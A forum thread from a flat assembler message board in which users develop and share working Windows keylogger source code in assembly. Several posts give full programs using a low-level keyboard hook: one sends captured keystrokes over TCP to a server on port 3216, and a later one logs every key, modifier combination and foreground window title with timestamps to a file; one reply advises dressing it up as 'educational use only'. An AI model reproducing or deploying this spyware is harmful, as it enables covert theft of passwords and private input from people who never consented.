flat assembler
Message board for the users of flat assembler.

Index > Windows > LowLevel keyboard hook problem

Author
Thread Post new topic Reply to topic
bcdsys



Joined: 04 Aug 2008
Posts: 41
bcdsys
I made code to perform global WH_KEYBOARD_LL hook, and at end, display number of key down/up events. Full GUI/logger will be added later. Code does not work, while running keyboard very slow, but works, at end count 0. Putting int3 in hook not crash, so hook not called, putting int3 after various procs and test ollydbg showed they returned good values. Looked at sourcecodes here, but could not find problem in my code. Can anone tell what is wrong in code? Tested on WinXP system.

Code:
;keylogger for Win32 systems, written in fasm
;uses WH_KEYBOARD_LL hook
format PE console 4.0
include 'win32a.inc'

section '' code readable executable

entry $
push OneCopy
push 0
push 0
call [CreateMutex]
call [GetLastError]
cmp eax, 183
jne @f
push  msg_duplicate_process
call [printf]
add esp, 4
ret
@@:
push 0
call [GetModuleHandle]
push 0
push eax
push kbdhook
push 13 ;low level key logger WH_KEYBOARD_LL
call [SetWindowsHookEx]
test eax, eax
jnz @f
push msg_SetWindowsHookEx_error
call [printf]
add esp, 4
ret
@@:
mov [hook], eax
.idle:
call [_getch]
cmp eax, 27 ;check if escape hit
jne .idle
push [hook]
call [UnhookWindowsHookEx]
push [count]
push putint
call [printf] ;display number of key events
add esp, 8
ret

;LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
kbdhook:
inc [count]
mov eax, [esp+12]
push eax
mov eax, [esp+8]
push eax
mov eax, [esp+4]
push eax
push [hook]
call [CallNextHookEx]
ret 12

section '' data readable writeable

hook dd 0
count dd 0
putint db '%d', 13, 10, 0
msg_duplicate_process db 'Program already running', 13, 10, 0
OneCopy db 'Global\KeylogMutex', 0
msg_SetWindowsHookEx_error db 'SetWindowsHookEx failed', 13, 10, 0

section '' import readable

library kernel32, 'KERNEL32.DLL', user32, 'USER32.DLL', msvcrt, 'MSVCRT.DLL'

import kernel32, CreateMutex, 'CreateMutexA', GetLastError, 'GetLastError', GetModuleHandle, 'GetModuleHandleA', Sleep, 'Sleep', Beep, 'Beep'
import user32, SetWindowsHookEx, 'SetWindowsHookExA', CallNextHookEx, 'CallNextHookEx', UnhookWindowsHookEx, 'UnhookWindowsHookEx'
import msvcrt, printf, 'printf', _getch, '_getch'

section '' fixups discardable
    
Post 04 Sep 2008, 00:29
View user's profile Send private message Reply with quote
LocoDelAssembly
Your code has a bug


Joined: 06 May 2005
Posts: 4633
Location: Argentina
LocoDelAssembly
According to documentation the thread that creates the hook must have a message processing loop.

Also the way you are calling CallNextHookEx is wrong, you are calling "CallNextHookEx(hook, ???, nCode, lParam)".
Post 04 Sep 2008, 01:15
View user's profile Send private message Reply with quote
asmcoder



Joined: 02 Jun 2008
Posts: 784
asmcoder
[content deleted]


Last edited by asmcoder on 14 Aug 2009, 14:56; edited 1 time in total
Post 04 Sep 2008, 11:40
View user's profile Send private message Reply with quote
bcdsys



Joined: 04 Aug 2008
Posts: 41
bcdsys
MessageLoop thing correct, made new code and worked. I will later make driver with IDT hook, but first user mode keylogger. This is still counter, will make real keylogger based on this soon.

Code:
;keylogger for Win32 systems, written in fasm
;uses WH_KEYBOARD_LL hook
format PE GUI 4.0
include 'win32a.inc'

section '' code readable executable

entry $
push OneCopy
push 0
push 0
call [CreateMutex]
call [GetLastError]
cmp eax, 183
jne @f
push 0x00040000
push 0
push msg_duplicate_process
push 0
call [MessageBox]
ret
@@:
push 0x77
push 0x3
push 0x0BADFACE
push 0
call [RegisterHotKey] ;exit on ctrl-alt-f8
test eax, eax
jnz @f
push 0x00040000
push 0
push msg_hotkey_failed
push 0
call [MessageBox]
ret
@@:
push 0
call [GetModuleHandle]
push 0
push eax
push kbdhook
push 13 ;low level key logger WH_KEYBOARD_LL
call [SetWindowsHookEx]
test eax, eax
jnz @f
push 0x00040000
push 0
push msg_SetWindowsHookEx_error
push 0
call [MessageBox]
ret
@@:
mov [hook], eax
sub esp, 28
mov eax, esp
push 0
push 0
push 0
push eax
call [GetMessage] ;wait for message like hotkey
add esp, 28
push [hook]
call [UnhookWindowsHookEx] ;remove hook
sub esp, 16
mov ebx, esp
push [count]
push putint
push ebx
call [wsprintf] ;number of key events in string
add esp, 12
push 0x00040000
push 0
push ebx
push 0
call [MessageBox] ;disp number
add esp, 16
ret ;exit

;LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
kbdhook:
inc [count]
mov eax, [esp+12]
push eax
mov eax, [esp+8]
push eax
mov eax, [esp+4]
push eax
push [hook]
call [CallNextHookEx]
ret 12

section '' data readable writeable

hook dd 0
count dd 0
putint db '%d', 13, 10, 0
msg_duplicate_process db 'Program already running', 13, 10, 0
msg_hotkey_failed db 'RegisterHotKey failed', 13, 10, 0
OneCopy db 'Global\KeylogMutex', 0
msg_SetWindowsHookEx_error db 'SetWindowsHookEx failed', 13, 10, 0

section '' import readable

library kernel32, 'KERNEL32.DLL', user32, 'USER32.DLL', msvcrt, 'MSVCRT.DLL'

import kernel32, CreateMutex, 'CreateMutexA', GetLastError, 'GetLastError', GetModuleHandle, 'GetModuleHandleA', Sleep, 'Sleep', Beep, 'Beep'
import user32, SetWindowsHookEx, 'SetWindowsHookExA', CallNextHookEx, 'CallNextHookEx', UnhookWindowsHookEx, 'UnhookWindowsHookEx', RegisterHotKey, 'RegisterHotKey', MessageBox, 'MessageBoxA',\
GetMessage, 'GetMessageA', wsprintf, 'wsprintfA'

section '' fixups discardable
    


If any problems pelase post.
Post 05 Sep 2008, 22:45
View user's profile Send private message Reply with quote
Alphonso



Joined: 16 Jan 2007
Posts: 294
Alphonso
I'm curious why you program like
Code:
kbdhook:
inc [count]
mov eax, [esp+12]
push eax
mov eax, [esp+8]
push eax
mov eax, [esp+4]
push eax
push [hook]
call [CallNextHookEx]
ret 12     
instead of something like
Code:
proc kbdhook ncode,wparam,lparam
inc [count]
invoke CallNextHookEx,[hook],[ncode],[wparam],[lparam]
ret
endp    
I guess you save a few bytes/ebp, any other reasons?

If your going to push [esp+12] like that then you need to take into account esp changes ie
Code:
mov eax,[esp+12]
push eax          ;esp->esp-4, [esp+8] is now at [esp+12]
mov eax,[esp+12]  ; 
...    
or even just
Code:
push dword [esp+12]
push dword [esp+12]
push dword [esp+12]
push [hook]
call [CallNextHookEx]    
Thanks for the snippet, I thought you had to stick the hook in a DLL, obviously not. Smile
Post 06 Sep 2008, 08:04
View user's profile Send private message Reply with quote
bcdsys



Joined: 04 Aug 2008
Posts: 41
bcdsys
Can I use winsock in WH_KEYBOARD_LL? Following code not working:
Code:
;keylogger for Win32 systems, written in fasm
;uses WH_KEYBOARD_LL hook
;sends data to specified server on port 3216
format PE GUI 4.0
include 'win32a.inc'

section '' code readable executable

entry $
pop [exit]
push OneCopy
push 0
push 0
call [CreateMutex]
call [GetLastError]
cmp eax, 183
jne @f
push 0x00040000
push 0
push msg_duplicate_process
push 0
call [MessageBox]
ret
@@:
sub esp, 512
mov eax, esp
push eax
push 0x202
call [WSAStartup]
add esp, 512
test eax, eax
jz @f
push 0x00040000
push 0
push msg_WSAStartup_failed
push 0
call [MessageBox]
jmp [exit]
@@:
push 6
push 1
push 2
call [socket] ;create socket
cmp eax, not 0
jnz @f
push 0x00040000
push 0
push msg_socket_failed
push 0
call [MessageBox]
jmp [exit]
@@:
mov ebx, eax
push server_ip
call [inet_addr]
cmp eax, 0xffffffff
jnz @f
push 0x00040000
push 0
push msg_inet_addr_failed
push 0
call [MessageBox]
jmp [exit]
@@:
sub esp, 16
mov word [esp], 2
mov dx, 3216
xchg dh, dl
mov word [esp+2], dx
mov [esp+4], eax
mov edx, esp
push 16
push edx
push ebx
call [connect] ;connect to server
cmp eax, -1
jnz @f
push 0x00040000
push 0
push msg_connect_failed
push 0
call [MessageBox]
jmp [exit]
@@:
add esp, 16 ;clean up stack
mov [sock], ebx
push 0x77
push 0x3
push 0x0BADFACE
push 0
call [RegisterHotKey] ;exit on ctrl-alt-f8
test eax, eax
jnz @f
push 0x00040000
push 0
push msg_hotkey_failed
push 0
call [MessageBox]
jmp [exit]
@@:
push msg_keylog_start
call [lstrlen]
push 0
push eax
push msg_keylog_start
push ebx
call [send] ;send start msg to server
push 0
call [GetModuleHandle]
push 0
push eax
push kbdhook
push 13 ;low level key logger WH_KEYBOARD_LL
call [SetWindowsHookEx]
test eax, eax
jnz @f
push 0x00040000
push 0
push msg_SetWindowsHookEx_error
push 0
call [MessageBox]
jmp [exit]
@@:
mov [hook], eax
sub esp, 28
mov eax, esp
push 0
push 0
push 0
push eax
call [GetMessage] ;wait for message like hotkey
add esp, 28
push [hook]
call [UnhookWindowsHookEx] ;remove hook
push msg_keylog_end
call [lstrlen]
push 0
push eax
push msg_keylog_end
push ebx
call [send] ;send start msg to server
add esp, 8
push ebx
call [closesocket]
call [WSACleanup]
jmp [exit]

;LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
kbdhook:
push ebx
inc [count]
mov eax, [esp+8]
and eax, not 4
cmp eax, 0x100
jnz .done
mov eax, [esp+12]
mov eax, [eax+4]
shl eax, 16
and eax, 0xFF0000 ;lparam format for GetKeyNameText
sub esp, 16
mov ecx, esp
push 16
push ecx
push eax
call [GetKeyNameText]
test eax, eax
jnz @f
mov dword [esp], 0x525245
@@:
mov ebx, esp
push ebx
call [lstrlen]
push 0
push eax
push ebx
push [sock]
call [send] ;sned keystroke
cmp eax, 0xffffffff
jnz @f
push 100
push 1000
call [Beep]
@@:
.done:
push dword [esp+12]
push dword [esp+12]
push dword [esp+12]
push [hook]
call [CallNextHookEx]
pop ebx
ret 12

section '' data readable writeable

hook dd 0
count dd 0
keyfile dd 0
exit dd 0
sock dd 0
putint db '%d', 13, 10, 0
msg_duplicate_process db 'Program already running', 13, 10, 0
msg_hotkey_failed db 'RegisterHotKey failed', 13, 10, 0
OneCopy db 'Global\KeylogMutex', 0
msg_SetWindowsHookEx_error db 'SetWindowsHookEx failed', 13, 10, 0
putkey db '[%s] ', 0
msg_fopen_failed db 'Error: file open failed', 13, 10, 0
msg_keylog_start db 'Keylog session start', 13, 10, 0
msg_keylog_end db 13, 10, 'Keylog session end', 13, 10, 0
msg_WSAStartup_failed db 'WSAStartup failed', 13, 10, 0
msg_socket_failed db 'socket failed', 13, 10, 0
msg_inet_addr_failed db 'inet_addr failed', 13, 10, 0
msg_connect_failed db 'connect failed', 13, 10, 0
server_ip db '127.0.0.1', 0

section '' import readable

library kernel32, 'KERNEL32.DLL', user32, 'USER32.DLL', ws2_32, 'ws2_32.DLL'

import kernel32, CreateMutex, 'CreateMutexA', GetLastError, 'GetLastError', GetModuleHandle, 'GetModuleHandleA', Sleep, 'Sleep', Beep, 'Beep', lstrlen, 'lstrlen'
import user32, SetWindowsHookEx, 'SetWindowsHookExA', CallNextHookEx, 'CallNextHookEx', UnhookWindowsHookEx, 'UnhookWindowsHookEx', RegisterHotKey, 'RegisterHotKey', MessageBox, 'MessageBoxA',\
GetMessage, 'GetMessageA', wsprintf, 'wsprintfA', GetKeyboardState, 'GetKeyboardState', ToAscii, 'ToAscii', GetKeyNameText, 'GetKeyNameTextA'
import ws2_32, WSAStartup, 'WSAStartup', socket, 'socket', connect, 'connect', inet_addr, 'inet_addr', send, 'send', closesocket, 'closesocket', WSACleanup, 'WSACleanup'

section '' fixups discardable
    


Code tries to send keystrokes to server. msg indicate start/end send, but keystrokes not So far using quetannon server (i have own but very basic, so using quetannon for now). Should i instead put keystrokes in buffer, and use WM_TIMER with sockets in that handler to send buffer to server?
Post 20 Sep 2008, 02:50
View user's profile Send private message Reply with quote
bcdsys



Joined: 04 Aug 2008
Posts: 41
bcdsys
Now I have keylogger working! Program works, logs keystrokes, use quetannon server for test, sent over TCP port 3216, records both shift key presses and RELEASES (fixes bug old version, not known when ctrl/alt/shift released after pressed). Code is:
Code:
;keylogger for Win32 systems, written in fasm
;uses WH_KEYBOARD_LL hook
;sends data to specified server on port 3216
format PE GUI 4.0
include 'win32a.inc'

section '' code readable executable

entry $
mov eax, [esp]
mov [exit], eax
push OneCopy
push 0
push 0
call [CreateMutex]
call [GetLastError]
cmp eax, 183
jne @f
push 0x00040000
push 0
push msg_duplicate_process
push 0
call [MessageBox]
ret
@@:
sub esp, 512
mov eax, esp
push eax
push 0x202
call [WSAStartup]
add esp, 512
test eax, eax
jz @f
push 0x00040000
push 0
push msg_WSAStartup_failed
push 0
call [MessageBox]
ret
@@:
push 6
push 1
push 2
call [socket] ;create socket
cmp eax, not 0
jnz @f
push 0x00040000
push 0
push msg_socket_failed
push 0
call [MessageBox]
ret
@@:
mov ebx, eax
push server_ip
call [inet_addr]
cmp eax, 0xffffffff
jnz @f
push 0x00040000
push 0
push msg_inet_addr_failed
push 0
call [MessageBox]
jmp [exit]
@@:
sub esp, 16
mov word [esp], 2
mov dx, 3216
xchg dh, dl
mov word [esp+2], dx
mov [esp+4], eax
mov edx, esp
push 16
push edx
push ebx
call [connect] ;connect to server
cmp eax, -1
jnz @f
push 0x00040000
push 0
push msg_connect_failed
push 0
call [MessageBox]
jmp [exit]
@@:
add esp, 16 ;clean up stack
mov [sock], ebx
push 0x77
push 0x3
push 0x0BAD
push 0
call [RegisterHotKey] ;exit on ctrl-alt-f8
test eax, eax
jnz @f
push 0x00040000
push 0
push msg_hotkey_failed
push 0
call [MessageBox]
jmp [exit]
@@:
push msg_keylog_start
call [lstrlen]
push 0
push eax
push msg_keylog_start
push ebx
call [send] ;send start msg to server
push 0
call [GetModuleHandle]
push 0
push eax
push kbdhook
push 13 ;low level key logger WH_KEYBOARD_LL
call [SetWindowsHookEx]
mov [hook], eax
test eax, eax
jnz @f
push 0x00040000
push 0
push msg_SetWindowsHookEx_error
push 0
call [MessageBox]
jmp [exit]
@@:
push 0
mov eax, esp
push timerproc
push 1000 ;1 second
push eax
push 0
call [SetTimer] ;set timer each second
add esp, 4
test eax, eax
jnz @f
push 0x00040000
push 0
push msg_SetTimer_failed
push 0
call [MessageBox]
jmp [exit]
@@:
sub esp, 28
message_loop:
mov eax, esp
push 0
push 0
push 0
push eax
call [GetMessage] ;wait for message like hotkey
cmp eax, -1
je terminate_program
xor eax, eax
lea ax, [esp+4]
cmp ax, 0x312
mov eax, esp
push eax
call [DispatchMessage]
jne message_loop
terminate_program:
add esp, 28
push [hook]
call [UnhookWindowsHookEx] ;remove hook
push msg_keylog_end
call [lstrlen]
push 0
push eax
push msg_keylog_end
push ebx
call [send] ;send start msg to server
add esp, 8
push ebx
call [closesocket]
call [WSACleanup]
jmp [exit]

;LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
kbdhook:
inc [count]
mov eax, [esp+12]
mov eax, [eax]
cmp eax, 0xA0
jb @f
cmp eax, 0xA5
ja @f
jmp .check
@@:
mov eax, [esp+8]
and eax, not 4
cmp eax, 0x100
jnz .done
.check:
cmp [bufpos], 16*64
jae .done
mov eax, [esp+12]
mov eax, [eax+4]
shl eax, 16
and eax, 0xFF0000 ;lparam format for GetKeyNameText
sub esp, 16
mov ecx, esp
push 16
push ecx
push eax
call [GetKeyNameText]
test eax, eax
jnz @f
mov dword [esp], 0x525245
@@:
mov eax, esp
mov ecx, [bufpos]
add ecx, keybuf
push eax
mov eax, [esp+28]
and eax, not 4
cmp eax, 0x100
jz @f
push putkey_end
jmp .done_putkey
@@:
push putkey
.done_putkey:
push ecx
call [wsprintf]
add esp, 28 ;clean up stack
add [bufpos], 16
.done:
push dword [esp+12]
push dword [esp+12]
push dword [esp+12]
push [hook]
call [CallNextHookEx]
ret 12

;timer proc, sends data to socket
timerproc:
push ebx esi edi
cmp [time_lock], 0
jnz .endproc
mov [time_lock], 1
cld
.queue_get_next:
cmp [bufpos], 0
jz .done
sub esp, 16
mov esi, keybuf
mov edi, esp
mov ecx, 4
rep movsd ;copy data
mov edi, keybuf
lea esi, [edi+16]
mov ecx, 16*63
rep movsb
sub [bufpos], 16
mov ebx, esp
push ebx
call [lstrlen] ;get string length
push 0
push eax
push ebx
push [sock]
call [send] ;send data to server
add esp, 16 ;clean up stack
jmp .queue_get_next
.done:
mov [time_lock], 0
.endproc:
pop edi esi ebx
ret 16

section '' data readable writeable

hook dd 0
count dd 0
exit dd 0
sock dd 0
bufpos dd 0
keybuf rb 16*64 ;keypress queue
putint db '%d', 13, 10, 0
msg_duplicate_process db 'Program already running', 13, 10, 0
msg_hotkey_failed db 'RegisterHotKey failed', 13, 10, 0
OneCopy db 'Global\KeylogMutex', 0
msg_SetWindowsHookEx_error db 'SetWindowsHookEx failed', 13, 10, 0
putkey db '[%s] ', 13, 10, 0
putkey_end db '[/%s] ', 13, 10, 0
msg_fopen_failed db 'Error: file open failed', 13, 10, 0
msg_keylog_start db 'Keylog session start', 13, 10, 0
msg_keylog_end db 13, 10, 'Keylog session end', 13, 10, 0
msg_WSAStartup_failed db 'WSAStartup failed', 13, 10, 0
msg_socket_failed db 'socket failed', 13, 10, 0
msg_inet_addr_failed db 'inet_addr failed', 13, 10, 0
msg_connect_failed db 'connect failed', 13, 10, 0
msg_send_failed db 'send failed', 13, 10, 0
msg_SetTimer_failed db 'SetTimer failed', 13, 10, 0
server_ip db '127.0.0.1', 0
time_lock db 0
endcode db 0

section '' import readable

library kernel32, 'KERNEL32.DLL', user32, 'USER32.DLL', ws2_32, 'ws2_32.DLL'

import kernel32, CreateMutex, 'CreateMutexA', GetLastError, 'GetLastError', GetModuleHandle, 'GetModuleHandleA', Sleep, 'Sleep', Beep, 'Beep', lstrlen, 'lstrlen'
import user32, SetWindowsHookEx, 'SetWindowsHookExA', CallNextHookEx, 'CallNextHookEx', UnhookWindowsHookEx, 'UnhookWindowsHookEx', RegisterHotKey, 'RegisterHotKey', MessageBox, 'MessageBoxA',\
GetMessage, 'GetMessageA', wsprintf, 'wsprintfA', GetKeyboardState, 'GetKeyboardState', ToAscii, 'ToAscii', GetKeyNameText, 'GetKeyNameTextA', SetTimer, 'SetTimer', DispatchMessage, 'DispatchMessageA'
import ws2_32, WSAStartup, 'WSAStartup', socket, 'socket', connect, 'connect', inet_addr, 'inet_addr', send, 'send', closesocket, 'closesocket', WSACleanup, 'WSACleanup'

section '' fixups discardable
    
Post 22 Sep 2008, 02:34
View user's profile Send private message Reply with quote
r22



Joined: 27 Dec 2004
Posts: 805
r22
A few notes

- When I started on this forum it was generally frowned upon to post keylogger (or any working malware) source code.

- You should be using UDP sockets instead of TCP.

- Your source code is an eye-sore, in the future consider using, macros (even if its just INVOKE and STDCALL), commenting the parameters of your functions, using informative label names for branching, and NOT using 'magic numbers'. This will make your code easier to follow and you'd have the added bonus of being able to claim that its for 'educational use only'.
Post 22 Sep 2008, 15:46
View user's profile Send private message AIM Address Yahoo Messenger Reply with quote
mangler



Joined: 02 Mar 2015
Posts: 6
mangler
Code:

    format PE GUI 5.0       ; Subsystem Version (min Windows 2000)
 
;   =========================================================
    section '.code' code import writeable readable executable
;   =========================================================
 
    include 'win32ax.inc'
     include 'IF.inc'


 
;   =====================
    include 'iat.imports'
;   =====================
 
 
    FILE_APPEND_DATA = 0x0004
 
struct KBDLLHOOKSTRUCT
    vkCode          rd 1
    scanCode        rd 1
    flags           rd 1
    time            rd 1
    dwExtraInfo     rd 1
ends
 
 
proc WriteToFile uses esi, wText
    locals
        dwBytesWritten      rd 1
        hFile               rd 1
    endl
 
    invoke CreateFileW, log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax <> INVALID_HANDLE_VALUE
        mov [hFile], eax
        invoke lstrlenW, [wText]
        imul eax, 2
        invoke WriteFile, [hFile], [wText], eax, addr dwBytesWritten, NULL
        .if eax = 1
            invoke CloseHandle, [hFile]
            xor eax, eax
            inc eax
            ret
        .endif
    .endif
 
    xor eax, eax
    ret
endp
 
 
proc KeyEvent uses esi, nCode, wParam, lParam
    locals
        window_text         du 1024     dup (?)
        old_window_text     du 1024     dup (?)
        wszAppName          du 1024     dup (?)
        szKey               du 256      dup (?)
        buff                du 256      dup (?)
        UniChar             du 16       dup (?)
        hWindowHandle       rd 1
        dwMsg               rd 1
        dwProcessId         rd 1
    endl
 
    .if (([nCode] = HC_ACTION) & (([wParam] = WM_SYSKEYDOWN) | ([wParam] = WM_KEYDOWN)))
 
        mov esi, [lParam]
        virtual at esi
            kbHook KBDLLHOOKSTRUCT <>
        end virtual
 
        mov eax, [kbHook.flags]
        shl eax, 0x8
        add eax, [kbHook.scanCode]
        shl eax, 0x10
        inc eax
        invoke GetKeyNameTextW, eax, addr szKey, 256
 
        invoke GetForegroundWindow
        .if eax <> NULL
            mov [hWindowHandle], eax
            invoke GetWindowTextW, [hWindowHandle], addr window_text, 1024
            .if eax <> 0
                invoke lstrcmpW, addr window_text, addr old_window_text
                .if eax <> 0                
                    invoke GetLocalTime, LocalTime
 
                    movzx eax, word[LocalTime.wSecond]
                    push eax
 
                    movzx eax, word[LocalTime.wMinute]
                    push eax
 
                    movzx eax, word[LocalTime.wHour]
                    push eax
 
                    movzx eax, word[LocalTime.wYear]
                    push eax
 
                    movzx eax, word[LocalTime.wMonth]
                    push eax
 
                    movzx eax, word[LocalTime.wDay]
                    push eax
 
                    cinvoke wsprintfW, addr wszAppName, tittleFrmt, addr window_text
                    stdcall WriteToFile, addr wszAppName
                    .if eax = 1
                        invoke lstrcpyW, addr old_window_text, addr window_text
                    .endif
                .endif
 
            .endif
 
            invoke GetKeyState, VK_LCONTROL
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LCONTROL
                    cinvoke wsprintfW, addr buff, sfrmtLcontrol, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RCONTROL
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RCONTROL
                    cinvoke wsprintfW, addr buff, sfrmtRcontrol, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_LMENU
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LMENU
                    cinvoke wsprintfW, addr buff, sfrmtLmenu, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RMENU
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RMENU
                    cinvoke wsprintfW, addr buff, sfrmtRmenu, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_LWIN
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LWIN
                    cinvoke wsprintfW, addr buff, sfrmtLwin, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RWIN
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RWIN
                    cinvoke wsprintfW, addr buff, sfrmtRwin, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif

        @@:  .if [kbHook.vkCode] = VK_BACK
                    stdcall WriteToFile, sBackspace

                    .elseif [kbHook.vkCode] = VK_TAB
                    stdcall WriteToFile, sTab

                    .elseif [kbHook.vkCode] = VK_RETURN
                    stdcall WriteToFile, sEnter

                    .elseif [kbHook.vkCode] = VK_PAUSE
                    stdcall WriteToFile, sPause

                    .elseif [kbHook.vkCode] = VK_CAPITAL
                    stdcall WriteToFile, sCapsLock

                    .elseif [kbHook.vkCode] = VK_ESCAPE
                    stdcall WriteToFile, sEsc

                    .elseif [kbHook.vkCode] = VK_PRIOR
                    stdcall WriteToFile, sPageUp

                    .elseif [kbHook.vkCode] = VK_NEXT
                    stdcall WriteToFile, sPageDown

                    .elseif [kbHook.vkCode] = VK_END
                    stdcall WriteToFile, sEnd

                    .elseif [kbHook.vkCode] = VK_HOME
                    stdcall WriteToFile, sHome

                    .elseif [kbHook.vkCode] = VK_LEFT
                    stdcall WriteToFile, sLeft

                    .elseif [kbHook.vkCode] = VK_UP
                    stdcall WriteToFile, sUp

                    .elseif [kbHook.vkCode] = VK_RIGHT
                    stdcall WriteToFile, sRight

                    .elseif                 [kbHook.vkCode] = VK_DOWN
                    stdcall WriteToFile, sDown

                    .elseif                [kbHook.vkCode] = VK_SNAPSHOT
                    stdcall WriteToFile, sPrintScreen

                    .elseif                 [kbHook.vkCode] = VK_INSERT
                    stdcall WriteToFile, sIns

                    .elseif                [kbHook.vkCode] = VK_DELETE
                    stdcall WriteToFile, sDel

                    .elseif                  [kbHook.vkCode] = VK_F1
                    stdcall WriteToFile, sF1

                    .elseif                  [kbHook.vkCode] = VK_F2
                    stdcall WriteToFile, sF2

                    .elseif                 [kbHook.vkCode] = VK_F3
                    stdcall WriteToFile, sF3

                    .elseif                 [kbHook.vkCode] = VK_F4
                    stdcall WriteToFile, sF4

                    .elseif                 [kbHook.vkCode] = VK_F5
                    stdcall WriteToFile, sF5

                    .elseif                 [kbHook.vkCode] = VK_F6
                    stdcall WriteToFile, sF6

                    .elseif                  [kbHook.vkCode] = VK_F7
                    stdcall WriteToFile, sF7

                    .elseif                  [kbHook.vkCode] = VK_F8
                    stdcall WriteToFile, sF8

                    .elseif                  [kbHook.vkCode] = VK_F9
                    stdcall WriteToFile, sF9

                    .elseif                  [kbHook.vkCode] = VK_F10
                    stdcall WriteToFile, sF10

                    .elseif                  [kbHook.vkCode] = VK_F11
                    stdcall WriteToFile, sF11

                    .elseif                   [kbHook.vkCode] = VK_F12
                    stdcall WriteToFile, sF12

                    .elseif                   [kbHook.vkCode] = VK_NUMLOCK
                    stdcall WriteToFile, sNumLock

                    .elseif                  [kbHook.vkCode] = VK_SCROLL
                    stdcall WriteToFile, sScrollLock

                    .elseif                  [kbHook.vkCode] = VK_APPS
                    stdcall WriteToFile, sApplications


                .else
                    invoke VirtualAlloc, 0, 256, MEM_COMMIT, PAGE_EXECUTE_READWRITE
                    mov edi, eax
 
                    invoke GetKeyboardState, edi
                    .if eax <> 0
                        invoke GetKeyState, VK_SHIFT
                        mov [edi + VK_SHIFT], al
 
                        invoke GetKeyState, VK_CAPITAL
                        mov [edi + VK_CAPITAL], al
 
                        invoke GetForegroundWindow
                        invoke GetWindowThreadProcessId, eax, addr dwProcessId
                        invoke GetKeyboardLayout, eax
 
                        invoke ToUnicodeEx, [kbHook.vkCode], [kbHook.scanCode], edi, addr UniChar, 16, [kbHook.flags], eax
                        stdcall WriteToFile, addr UniChar
                    .endif
 
                    invoke VirtualFree, edi, 0, MEM_RELEASE

            .endif
        .endif
    .endif
 
 
next:
    invoke CallNextHookEx, [hKeyHook], [nCode], [wParam], [lParam]
    ret
endp
 
 
proc KeyLogger uses edi, lpParameter
    locals
        msg         MSG
    endl
 
    invoke GetModuleHandleA, NULL
    test eax, eax
    jne @f
 
    invoke LoadLibraryA, [lpParameter]
    test eax, eax
    jne @f
    inc eax
    jmp exit
 
@@: invoke SetWindowsHookExA, WH_KEYBOARD_LL, KeyEvent, eax, NULL
    mov [hKeyHook], eax
 
@@: invoke GetMessageA, addr msg, 0, 0, 0
    test eax, eax
    je exit
    invoke TranslateMessage, addr msg
    invoke DispatchMessageA, addr msg
    jmp @b
 
    invoke UnhookWindowsHookEx, addr hKeyHook
    xor eax, eax
exit:
    ret
endp
 
 
;   =========================================================
;           ENTRY POINT
;   =========================================================
entry $
 
    invoke CreateThread, NULL, NULL, KeyLogger, NULL, NULL, dwThread
    test eax, eax
    je @f
 
    invoke WaitForSingleObject, eax, -1
    jmp Exit
 
@@: xor eax, eax
    inc eax
Exit:
    ret
 
    tittleFrmt              du 10, 10, '[%s] - %02d/%02d/%04d, %02d:%02d:%02d', 10, 0
    log_file                du 'log_file.txt',      0
    
    sfrmtLcontrol           du '[CtrlL + %s]',      0
    sfrmtRcontrol           du '[CtrlR + %s]',      0
    sfrmtLmenu              du '[AltL + %s]',       0
    sfrmtRmenu              du '[AltR + %s]',       0
    sfrmtLwin               du '[WinL + %s]',       0
    sfrmtRwin               du '[WinR + %s]',       0
 
    sBackspace              du '[Backspace]',       0
    sTab                    du '[Tab]',             0
    sEnter                  du '[Enter]', 10,       0
    sPause                  du '[Pause]',           0
    sCapsLock               du '[Caps Lock]',       0
    sEsc                    du '[Esc]',             0
    sPageUp                 du '[Page Up]',         0
    sPageDown               du '[Page Down]',       0
    sEnd                    du '[End]',             0
    sHome                   du '[Home]',            0
    sLeft                   du '[Left]',            0
    sUp                     du '[Up]',              0
    sRight                  du '[Right]',           0
    sDown                   du '[Down]',            0
    sPrintScreen            du '[Print Screen]',    0
    sIns                    du '[Ins]',             0
    sDel                    du '[Del]',             0
    sF1                     du '[F1]',              0
    sF2                     du '[F2]',              0
    sF3                     du '[F3]',              0
    sF4                     du '[F4]',              0
    sF5                     du '[F5]',              0
    sF6                     du '[F6]',              0
    sF7                     du '[F7]',              0
    sF8                     du '[F8]',              0
    sF9                     du '[F9]',              0
    sF10                    du '[F10]',             0
    sF11                    du '[F11]',             0
    sF12                    du '[F12]',             0
    sNumLock                du '[Num Lock]',        0
    sScrollLock             du '[Scroll Lock]',     0
    sApplications           du '[Applications]',    0
 
    LocalTime               SYSTEMTIME <>
    dwThread                rd 1
    hKeyHook                rd 1



    


have a nice day
Post 02 Mar 2015, 14:25
View user's profile Send private message Reply with quote
Foxxy



Joined: 14 Jul 2014
Posts: 42
Location: Somewhere over the rainbow...
Foxxy
Since this is a thread about hooks, I was wondering if there was a way to hook without using Windows Hooking APIs. Would it be possible to simply read the import table of a DLL, find the address and do your hooking manually? Or would this be a lot more complicated? Is there some reading somewhere I could do about hooking in assembly?
Post 03 Mar 2015, 03:20
View user's profile Send private message Reply with quote
revolution
When all else fails, read the source


Joined: 24 Aug 2004
Posts: 17280
